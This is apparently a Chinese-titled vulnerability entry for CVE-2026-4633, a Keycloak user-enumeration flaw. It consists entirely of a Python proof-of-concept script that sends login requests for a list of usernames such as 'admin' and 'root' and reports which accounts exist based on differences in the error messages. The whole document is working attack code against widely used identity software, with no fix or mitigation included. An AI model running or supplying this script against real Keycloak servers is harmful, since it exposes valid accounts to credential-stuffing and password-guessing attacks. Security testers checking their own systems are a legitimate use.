CVE-2026-4633 Keycloak用户枚举信息泄露漏洞

import requests def check_user_enumeration(target_url, username_list): """ PoC for CVE-2026-4633: Keycloak User Enumeration Checks for differential error messages in identity-first login flow. """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (CVE-Scanner)" } for username in username_list: # Payload simulating identity-first login with Organizations enabled payload = { "username": username, "organizationId": "test-org" } try: response = requests.post(target_url, data=payload, headers=headers, timeout=5) # Analyze response for differential clues if "User not found" in response.text or "INVALID_USER" in response.text: print(f"[-] User '{username}': Does not exist") elif "Invalid password" in response.text or "INVALID_CREDENTIALS" in response.text: print(f"[+] User '{username}': EXISTS (Valid user)") else: print(f"[?] Unknown response for '{username}': Status {response.status_code}") except Exception as e: print(f"[!] Error connecting to {target_url}: {e}") if __name__ == "__main__": target = "https://keycloak.example.com/realms/master/login-actions/authenticate" users = ["admin", "test", "root", "genericuser"] check_user_enumeration(target, users)